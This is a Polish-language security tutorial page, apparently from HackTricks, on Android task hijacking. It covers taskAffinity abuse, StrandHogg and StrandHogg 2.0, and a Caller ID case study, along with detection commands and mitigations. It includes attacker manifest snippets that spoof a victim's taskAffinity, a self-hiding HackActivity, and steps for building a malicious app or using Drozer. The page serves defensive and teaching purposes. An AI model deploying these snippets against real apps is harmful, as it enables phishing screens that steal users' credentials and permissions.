9.4 KiB
Raw Blame History

Android Task Hijacking

{{#include ../../banners/hacktricks-training.md}}

Task, Back Stack and Foreground Activities

W Androidzie, task to zasadniczo zestaw aktywności, z którymi użytkownicy wchodzą w interakcję, aby wykonać określone zadanie, zorganizowane w back stack. Ten stos porządkuje aktywności na podstawie momentu ich otwarcia, z najnowszą aktywnością wyświetlaną na górze jako foreground activity. W każdej chwili tylko ta aktywność jest widoczna na ekranie, co czyni ją częścią foreground task.

Oto szybkie podsumowanie przejść między aktywnościami:

  • Aktywność 1 zaczyna jako jedyna aktywność na pierwszym planie.
  • Uruchomienie Aktywności 2 przesuwa Aktywność 1 do back stack, przynosząc Aktywność 2 na pierwszy plan.
  • Rozpoczęcie Aktywności 3 przesuwa Aktywność 1 i Aktywność 2 dalej w stosie, z Aktywnością 3 teraz na przodzie.
  • Zamknięcie Aktywności 3 przywraca Aktywność 2 na pierwszy plan, pokazując uproszczony mechanizm nawigacji zadań w Androidzie.

https://developer.android.com/images/fundamentals/diagram_backstack.png


Ataki na affinity zadań

taskAffinity informuje Androida, do którego zadania Activity preferuje należeć. Gdy dwie aktywności dzielą tę samą affinity, Android ma prawo połączyć je w tym samym back-stack, nawet jeśli pochodzą z różnych APK.

Jeśli atakujący może umieścić złośliwą aktywność na korzeniu tego stosu, za każdym razem, gdy ofiara otworzy legalną aplikację, złośliwy interfejs użytkownika będzie pierwszą rzeczą, którą zobaczy użytkownik idealne do phishingu lub nadużywania uprawnień.

Powierzchnia ataku jest szersza, niż wielu deweloperów myśli, ponieważ każda aktywność automatycznie dziedziczy affinity równą nazwie pakietu aplikacji (chyba że deweloper ustawi android:taskAffinity=""). Dlatego nic nie robiąc aplikacja już jest narażona na przejęcie zadań w wersjach Androida przed 11.

Klasyczny scenariusz "singleTask / StrandHogg"

  1. Atakujący deklaruje aktywność z:
<activity android:name=".EvilActivity"
android:exported="true"
android:taskAffinity="com.victim.package"
android:launchMode="singleTask" >
<intent-filter>
<action android:name="android.intent.action.MAIN"/>
<category android:name="android.intent.category.LAUNCHER"/>
</intent-filter>
</activity>
  1. Złośliwa aplikacja jest uruchamiana raz, aby zadanie (z fałszywą affinity) istniało w ostatnich zadaniach.
  2. Gdy użytkownik później otworzy prawdziwą aplikację, Android stwierdza, że już istnieje zadanie, którego root affinity pasuje do pakietu i po prostu przynosi to zadanie na pierwszy plan.
  3. Interfejs użytkownika atakującego jest wyświetlany jako pierwszy.

Wariant DefaultAffinity (bez singleTask) Studium przypadku Caller ID

Wrażliwość zgłoszona w aplikacji Caller ID (caller.id.phone.number.block) pokazuje, że atak również działa przeciwko domyślnemu trybowi uruchamiania standard:

  1. Aplikacja atakującego tworzy fałszywą aktywność root i natychmiast się ukrywa:
class HackActivity : AppCompatActivity() {
override fun onCreate(savedInstanceState: Bundle?) {
super.onCreate(savedInstanceState)
moveTaskToBack(true)   // utrzymaj zadanie w ostatnich, ale poza zasięgiem wzroku
}
}
  1. Manifest musi tylko skopiować pakiet ofiary do taskAffinity:
<activity android:name=".HackActivity"
android:exported="true"
android:taskAffinity="com.caller.id.phone.number.block" >
<intent-filter>
<action android:name="android.intent.action.MAIN"/>
<category android:name="android.intent.category.LAUNCHER"/>
</intent-filter>
</activity>
  1. Gdy użytkownik zainstaluje i otworzy złośliwą aplikację raz, istnieje zadanie, którego affinity równa się pakietowi ofiary (ale znajduje się w tle).
  2. Gdy uruchamiana jest prawdziwa aplikacja Caller ID, Android ponownie wykorzystuje to zadanie i przynosi HackActivity na pierwszy plan → okno phishingowe/nadużycie uprawnień.

UWAGA: Począwszy od Android 11 (API 30) system nie umieszcza dwóch pakietów, które nie są częścią tego samego UID, w tym samym zadaniu domyślnie, co łagodzi ten konkretny wariant. Starsze wersje pozostają narażone.


StrandHogg 2.0 (CVE-2020-0096) Przejęcie zadania oparte na refleksji

Majowy biuletyn bezpieczeństwa Google z 2020 roku naprawił bardziej zaawansowany wariant nazwany StrandHogg 2.0. Eksploatacja nie polega w ogóle na taskAffinity; zamiast tego używa refleksji, aby dynamicznie wstawić aktywność atakującego na szczyt każdego działającego zadania, całkowicie omijając ograniczenie „shared-UID” wprowadzone przez Androida 11.

Kluczowe punkty:

  • Złośliwa aplikacja bez uprawnień może, po otwarciu, iterować po działających zadaniach i wywoływać ukryte API, aby przypisać swoją własną aktywność do dowolnego zadania.
  • Ponieważ aktywność jest wstawiana po czasie wykonania, ani launchMode, ani statyczna analiza manifestu nie mogą wykryć ataku z wyprzedzeniem.
  • Naprawione przez wprowadzenie sprawdzenia do Android 8.0/8.1/9 (maj 2020 SPL). Android 10 i nowsze nie są dotknięte.

Wykrywanie na urządzeniach przed naprawą można przeprowadzić za pomocą adb shell dumpsys activity activities i obserwując podejrzane aktywności, których nazwa pakietu różni się od affinity zadania.

Łagodzenie dla starszych urządzeń jest takie samo jak w klasycznym przejęciu zadań plus weryfikacja w czasie rzeczywistym (np. wywołując ActivityManager#getRunningTasks i walidując swoją własną nazwę pakietu).


Lista kontrolna wykrywania i eksploatacji

  1. Przegląd statyczny Pobierz AndroidManifest.xml z docelowego APK i sprawdź, czy każda <activity> (lub globalny element <application>) zawiera android:taskAffinity="" (puste) lub dostosowaną wartość. Narzędzia takie jak:
# Używając apkanalyzer (Android SDK)
apkanalyzer manifest print app.apk | grep -i taskaffinity

# Używając AXMLPrinter2
java -jar AXMLPrinter2.jar AndroidManifest.xml | grep taskAffinity
  1. Przegląd dynamiczny Na urządzeniu otwórz docelową aplikację i wylistuj zadania:
adb shell dumpsys activity activities | grep -A3 "TASK" | grep -E "Root|affinity"

Zadanie, którego root affinity równa się pakietowi ofiary, ale którego górna aktywność należy do innego pakietu, jest sygnałem ostrzegawczym. 3. Stwórz złośliwą aplikację, jak opisano powyżej, lub użyj Drozer:

drozer console connect
run app.activity.start --component com.victim/.MainActivity --action android.intent.action.MAIN
run app.activity.info com.victim

Łagodzenie

Deweloperzy powinni:

  • Wyraźnie ustawić android:taskAffinity="" na poziomie <application> (zalecane) lub nadać każdej aktywności unikalną, prywatną affinity.
  • Dla wysoce wrażliwych ekranów połączyć powyższe z android:launchMode="singleInstance" lub nowoczesnymi ochronami setLaunchMode.
  • Zaktualizować targetSdkVersion aplikacji i egzekwować zmiany behawioralne Android 11, gdzie zadania nie są domyślnie dzielone między pakiety.
  • Celować w Android 12 (API 31) lub wyższy, aby obowiązkowy atrybut android:exported zmusił deweloperów do audytowania każdego komponentu dostępnego z zewnątrz.
  • Rozważyć samoobronę w czasie rzeczywistym: okresowo zapytuj ActivityTaskManager, aby upewnić się, że pakiet twojej górnej aktywności odpowiada twojemu.

Powiązane techniki przejmowania UI

Przejęcie zadań często łączy się z lub jest zastępowane przez tapjacking (oszustwo UI oparte na nakładkach). Badania TapTrap z 2025 roku pokazały, że całkowicie przezroczyste aktywności napędzane animacją mogą omijać ograniczenia dotykowe nakładek wprowadzone w Androidzie 1214 i nadal oszukiwać użytkowników, aby przyznawali niebezpieczne uprawnienia. Chociaż TapTrap nie jest ściśle przejęciem zadań, cel końcowy (kliknięcia phishingowe) jest identyczny dlatego nowoczesne oceny powinny sprawdzać obie powierzchnie ataku.


Referencje

{{#include ../../banners/hacktricks-training.md}}